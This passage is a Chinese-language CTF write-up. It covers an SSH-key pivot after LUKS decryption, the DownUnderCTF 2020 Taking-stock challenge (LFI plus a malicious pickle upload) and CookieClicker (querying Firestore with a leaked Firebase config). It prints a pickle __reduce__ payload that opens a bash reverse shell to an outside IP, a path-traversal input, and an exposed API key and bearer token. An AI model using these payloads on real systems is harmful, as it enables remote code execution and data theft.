发现又来一个cryptsetup,我们还有一个分区/dev/nbd0p3没看呢。根据提示,直接解密:cryptsetup luksOpen /dev/nbd0p3 crypthome --key-file /mnt/etc/home.keymount /dev/mapper/nbd0p3 /mnt1,然后看/mnt1文件,发现有.ssh目录,存在id_rsa id_rsa.pub known_hosts,SSH免密登录。看.ash_history,发现有github的Repo。那就把.ssh目录的文件拷到我们机器上的.ssh目录下,然后git clone git@github.com:cornochips/configs。得到10个file*.txt,但是都没用。git log发现有大量提交日志,一点点翻文件找到了。

flag{548c9969-8cb1-4aef-89fa-4b8548e17b25}

DownunderCTF 2020 Taking-stock。给了一个train.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

# Don't upload this file to production.
# Train models locally and copy them into the deployment

import os
import joblib
import quandl
import numpy as np
from sklearn.linear_model import LinearRegression
from sklearn.model_selection import train_test_split

WINDOW = 30
quandl.ApiConfig.api_key = "REDACTED"

def get_data(name, cache=True):
fn = f'{name.replace("/", "_")}.cache.joblib'
if cache:
if os.path.isfile(fn):
df = joblib.load(fn)
return df

df = quandl.get(name)
joblib.dump(df, fn)

return df

def get_model(data):
df = data[['Adj. Close']]
df['Prediction'] = df[['Adj. Close']].shift(-WINDOW)

ds = np.array(df.drop(['Prediction'], 1))
ds = ds[:-WINDOW]

lb = np.array(df['Prediction'])
lb = lb[:-WINDOW]

ds_train, ds_test, lb_train, lb_test = train_test_split(ds, lb, test_size=0.2)

model = LinearRegression()
model.fit(ds_train, lb_train)

return model

if __name__ == '__main__':
import sys
stock = sys.argv[1]
stock_name = stock.split('/')[1]
use_cache = len(sys.argv) > 2 and sys.argv[2] == '--no-cache'

data = get_data(stock, cache=sys.argv)
model = get_model(data)
joblib.dump(model, f'{stock_name}.joblib')


打开是一个股票预测界面,输入数值后会根据输入预测变化情况。然后我们发现有个登录,随手一发SSTI{9*9},结果没那么简单,原样输出了。然后有个上传,只能是PNG。但是仅验证了文件后缀。

抓包发现,首次登陆后的Me页面里会GET/profile-picture/{uuid},然后返回No such file /tmp/{uuid}.png,我们上传的文件会保存在/tmp目录下。然后注意到奇怪的事情,我们把uuid改了,

还会正常显示上传的图片。很明显,/profile-picture还会判断Cookie。我们解一下Cookie,明显Flask的。"eyJpZCI6IjgxMDM1M2JiLTc4NmMtNGIzYi05N2IwLTIyMWI5ODFhODZiYyIsInVzZXJuYW1lIjoie3s5Kjl9fSJ9.X2laXw.PxXhwXbzp8aKXJeUIXaQFoUgrrM"的结果是{"id":"810353bb-786c-4b3b-97b0-221b981a86bc","username":"{{9*9}}"}。但是目前上传没太多作用,找不到什么序列化或者LFI的。

回头看股票预测页面,有四个选项,Google Facebook Apple Amazon,我们点Predict的时候,会POST prices和stock(不过很奇怪,我在本地做的时候Burpsuite抓不到包),我们把stock改成../../../../../../../../etc/passwd,提示Failed to load ./models/../../../../../../../../etc/passwd,LFI。

LFI有了,文件上传有了,然后干什么?给的那个train.py还没看呢。

joblib是啥?参考文档,是一套并行运行的工具库,我们重点关注这里用的load函数。文档明确提示使用pickle,那就好办了。不知道能否有回显,我们直接反弹shell。

先写好模板:

1
2
3
4
5
6
7
8
9
10

import pickle
import base64
import os

class RCE:
def __reduce__(self):
cmd = ('bash -c "bash -i >& /dev/tcp/192.168.50.186/6379 0>&1"')
return os.system, (cmd,)

然后pickle 生成序列化文件,上传文件(记得改后缀名),最后predict修改引用的模型为我们上传的Payload即可弹shell。

flag{8b378ef6-ad0b-42b2-acb7-9ea7a122fd54}

DownUnderCTF 2020的CookieClicker。(这题做Docker后面需要适配,因为用到了Google Firebase)

打开后让我们登录或注册,注意到favicon那个Angular的标志,猜测这题是用Angular写的Web Server。

观察发起的网络连接后,注意到频繁访问firebase,firebase是什么?简单来说是Google推出的在线数据库,CRUD操作可以通过HTTP请求完成。

我们试着在JS中找一下Firebase的东西,发现Token:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

const environment = {
production: false,
firebase: {
apiKey: "AIzaSyDOCn4NThEqv9Y-afv36PfJWBUYiGm1rkI",
authDomain: "cookie-clicker1.firebaseapp.com",
databaseURL: "https://cookie-clicker1.firebaseio.com",
projectId: "cookie-clicker1",
storageBucket: "cookie-clicker1.appspot.com",
messagingSenderId: "186649534277",
appId: "1:186649534277:web:a75d541debbd366cebe82c",
measurementId: "G-7LWV67HSXP"
}
};

现在我们可以访问firebase了,问题是怎么查?仅凭Token没办法登录到Firebase控制台,所以我们要通过Token来直接访问Firebase。由于我们只有API Key,参考文档,我们直接JavaScript操作。

先构建好Firebase操作模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<!-- Insert these scripts at the bottom of the HTML, but before you use any Firebase services -->

<!-- Firebase App (the core Firebase SDK) is always required and must be listed first -->
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-app.js"></script>

<!-- If you enabled Analytics in your project, add the Firebase SDK for Analytics -->
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-analytics.js"></script>

<!-- Add Firebase products that you want to use -->
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-auth.js"></script>
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-firestore.js"></script>
</head>
<body>

<script>
var firebaseConf = {
apiKey: "AIzaSyDOCn4NThEqv9Y-afv36PfJWBUYiGm1rkI",
authDomain: "cookie-clicker1.firebaseapp.com",
databaseURL: "https://cookie-clicker1.firebaseio.com",
projectId: "cookie-clicker1",
storageBucket: "cookie-clicker1.appspot.com",
messagingSenderId: "186649534277",
appId: "1:186649534277:web:a75d541debbd366cebe82c",
measurementId: "G-7LWV67HSXP"
};

firebase.initializeApp(firebaseConf);



</script>
</body>
</html>

下一个问题是我们要操作哪种服务?Firebase提供了Realtime Database、Cloud Firestore、Storage等服务。当我们点击页面中的按钮时,会发出一些HTTP请求,发现URL都类似于https://firestore.googleapis.com/google.firestore.v1.Firestore/Listen/channel?database=projects%2Fcookie-clicker1%2Fdatabases%2F(default)&gsessionid=bcEeUU8DDzkPMaSO3JY1AW63FcU55neY&VER=8&RID=rpc&SID=1IaLbjzhhQV21yMH-XFJoQ&CI=0&AID=64&TYPE=xmlhttp&zx=utdsowr3rn8s&t=2,发现有firestore,而且我们在main.js中搜索storage、firestore、database等关键词,只有firestore出现次数最多。就认为是它了。根据文档,Firestore不使用表的概念,而是用collections代替,我们需要知道collections的名称,但是Web端又不允许我们去获取collections。

那就再看HTTP请求,当我们点击Click更新计数时会发出一个POST请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /google.firestore.v1.Firestore/Listen/channel?database=projects%2Fcookie-clicker1%2Fdatabases%2F(default)&VER=8&RID=13388&CVER=22&X-HTTP-Session-Id=gsessionid&%24httpHeaders=X-Goog-Api-Client%3Agl-js%2F%20fire%2F7.19.1%0D%0AContent-Type%3Atext%2Fplain%0D%0AAuthorization%3ABearer%20eyJhbGciOiJSUzI1NiIsImtpZCI6IjczNzVhZmY3MGRmZTNjMzNlOTBjYTM2OWUzYTBlZjQxMzE3MmZkODIiLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL3NlY3VyZXRva2VuLmdvb2dsZS5jb20vY29va2llLWNsaWNrZXIxIiwiYXVkIjoiY29va2llLWNsaWNrZXIxIiwiYXV0aF90aW1lIjoxNjAwNjkyMjM4LCJ1c2VyX2lkIjoiVnF4SE5QbHdLUVJwMkZ2Q1R6Z1h5MDhseGh2MiIsInN1YiI6IlZxeEhOUGx3S1FScDJGdkNUemdYeTA4bHhodjIiLCJpYXQiOjE2MDA2OTU1MzksImV4cCI6MTYwMDY5OTEzOSwiZW1haWwiOiJ0aWFvbm1tQHRlc3QuY29tIiwiZW1haWxfdmVyaWZpZWQiOmZhbHNlLCJmaXJlYmFzZSI6eyJpZGVudGl0aWVzIjp7ImVtYWlsIjpbInRpYW9ubW1AdGVzdC5jb20iXX0sInNpZ25faW5fcHJvdmlkZXIiOiJwYXNzd29yZCJ9fQ.MobthL1tQ2iJBgiyyMt-nigsmJrHPiIaDjkOQrSJgBNDZa77HyTfiXzA-Nc_ZNhKbkO_YXheAVoIIaBSvVcxhMr9Ce-rrcjta7Y3eLmbFI-_79LXEWMbM3K2ffDlPa1k2cGsLbwestARe2_7wyLNf4PfYMR9vHZtJRxMcx8IMs4XBXf4a8guAWSV-2pgw3Z02g5yvusiMxpZjCpON7qI_08xoiLNcc5YnqH1Raqd16FiFlbClzuYm33JnJpOw_7QCucRMtZk77pr5uUiNmNDBJCjS-V1o2u5cfta4imsmiMBMEtD9Com-1BCZv_HD2Qd1Rmy_0cZ71r3NuqaSwIx4w%0D%0A&zx=la5nsuqm685b&t=1 HTTP/1.1
Host: firestore.googleapis.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 684
Origin: http://127.0.0.1:8528
Connection: keep-alive
Referer: http://127.0.0.1:8528/

count=2&ofs=0&req0___data__=%7B%22database%22%3A%22projects%2Fcookie-clicker1%2Fdatabases%2F(default)%22%2C%22addTarget%22%3A%7B%22documents%22%3A%7B%22documents%22%3A%5B%22projects%2Fcookie-clicker1%2Fdatabases%2F(default)%2Fdocuments%2Fusers%2FVqxHNPlwKQRp2FvCTzgXy08lxhv2%22%5D%7D%2C%22targetId%22%3A2%2C%22resumeToken%22%3A%22CgkI4LfytK%2F66wI%3D%22%7D%7D&req1___data__=%7B%22database%22%3A%22projects%2Fcookie-clicker1%2Fdatabases%2F(default)%22%2C%22addTarget%22%3A%7B%22documents%22%3A%7B%22documents%22%3A%5B%22projects%2Fcookie-clicker1%2Fdatabases%2F(default)%2Fdocuments%2Fcookies%2Ftotal%22%5D%7D%2C%22targetId%22%3A4%2C%22resumeToken%22%3A%22CgkI4LfytK%2F66wI%3D%22%7D%7D
可以看到有req0和req1两组数据。根据URL我们大胆猜测collections为users和cookies。那么,读数据吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<!-- Insert these scripts at the bottom of the HTML, but before you use any Firebase services -->

<!-- Firebase App (the core Firebase SDK) is always required and must be listed first -->
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-app.js"></script>

<!-- If you enabled Analytics in your project, add the Firebase SDK for Analytics -->
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-analytics.js"></script>

<!-- Add Firebase products that you want to use -->
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-auth.js"></script>
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-firestore.js"></script>
</head>
<body>

<script>
var firebaseConf = {
apiKey: "AIzaSyDOCn4NThEqv9Y-afv36PfJWBUYiGm1rkI",
authDomain: "cookie-clicker1.firebaseapp.com",
databaseURL: "https://cookie-clicker1.firebaseio.com",
projectId: "cookie-clicker1",
storageBucket: "cookie-clicker1.appspot.com",
messagingSenderId: "186649534277",
appId: "1:186649534277:web:a75d541debbd366cebe82c",
measurementId: "G-7LWV67HSXP"
};

firebase.initializeApp(firebaseConf);
var db=firebase.firestore();
db.collection("users").get().then((querySnapshot) => {
querySnapshot.forEach((doc) => {
console.log(`${doc.id} => ${doc.data()}`);
});
});


</script>
</body>
</html>

访问后会发现报错: Uncaught (in promise) FirebaseError: Missing or insufficient permissions. (゚∀。),还要权限?那么得从登录开始抓包了。发现登陆的时候有verifyPassword的URL,但是Key是加密的,这种情况下我们先不轻易解这个加密,回去翻文档,看有没有认证的选项。在这里看到了登录的选项,那么添一段登录代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<!-- Insert these scripts at the bottom of the HTML, but before you use any Firebase services -->

<!-- Firebase App (the core Firebase SDK) is always required and must be listed first -->
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-app.js"></script>

<!-- If you enabled Analytics in your project, add the Firebase SDK for Analytics -->
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-analytics.js"></script>

<!-- Add Firebase products that you want to use -->
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-auth.js"></script>
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-firestore.js"></script>
</head>
<body>

<script>
var firebaseConf = {
apiKey: "AIzaSyDOCn4NThEqv9Y-afv36PfJWBUYiGm1rkI",
authDomain: "cookie-clicker1.firebaseapp.com",
databaseURL: "https://cookie-clicker1.firebaseio.com",
projectId: "cookie-clicker1",
storageBucket: "cookie-clicker1.appspot.com",
messagingSenderId: "186649534277",
appId: "1:186649534277:web:a75d541debbd366cebe82c",
measurementId: "G-7LWV67HSXP"
};

firebase.initializeApp(firebaseConf);
firebase.auth().signInWithEmailAndPassword("tiaonmm@test.com", "tiaonmmn").catch(function(error) {
// Handle Errors here.
var errorCode = error.code;
var errorMessage = error.message;
// ...
});
var db=firebase.firestore();
db.collection("users").get().then((querySnapshot) => {
querySnapshot.forEach((doc) => {
console.log(`${doc.id} => ${doc.data()}`);
});
});
db.collection("cookies").get().then((querySnapshot) => {
querySnapshot.forEach((doc) => {
console.log(`${doc.id} => ${doc.data()}`);
});
});


</script>
</body>
</html>

发现users我们没办法访问,但是cookies可以,不过我们的代码有问题,直接把对象toString()了,改一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<!-- Insert these scripts at the bottom of the HTML, but before you use any Firebase services -->

<!-- Firebase App (the core Firebase SDK) is always required and must be listed first -->
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-app.js"></script>

<!-- If you enabled Analytics in your project, add the Firebase SDK for Analytics -->
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-analytics.js"></script>

<!-- Add Firebase products that you want to use -->
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-auth.js"></script>
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-firestore.js"></script>
</head>
<body>

<script>
var firebaseConf = {
apiKey: "AIzaSyDOCn4NThEqv9Y-afv36PfJWBUYiGm1rkI",
authDomain: "cookie-clicker1.firebaseapp.com",
databaseURL: "https://cookie-clicker1.firebaseio.com",
projectId: "cookie-clicker1",
storageBucket: "cookie-clicker1.appspot.com",
messagingSenderId: "186649534277",
appId: "1:186649534277:web:a75d541debbd366cebe82c",
measurementId: "G-7LWV67HSXP"
};

firebase.initializeApp(firebaseConf);
firebase.auth().signInWithEmailAndPassword("tiaonmm@test.com", "tiaonmmn").catch(function(error) {
// Handle Errors here.
var errorCode = error.code;
var errorMessage = error.message;
// ...
});
var db=firebase.firestore();
db.collection("users").get().then((querySnapshot) => {
querySnapshot.forEach((doc) => {
console.log(`${doc.id} => ${doc.data()}`);
});
});
db.collection("cookies").get().then((querySnapshot) => {
querySnapshot.forEach((doc) => {
console.log(doc.data());
});
});


</script>
</body>
</html>

浏览器访问后打开控制台即可看到flag。

flag{6f4bfe3a-9a40-4cf2-869e-3edd8f9e40d4}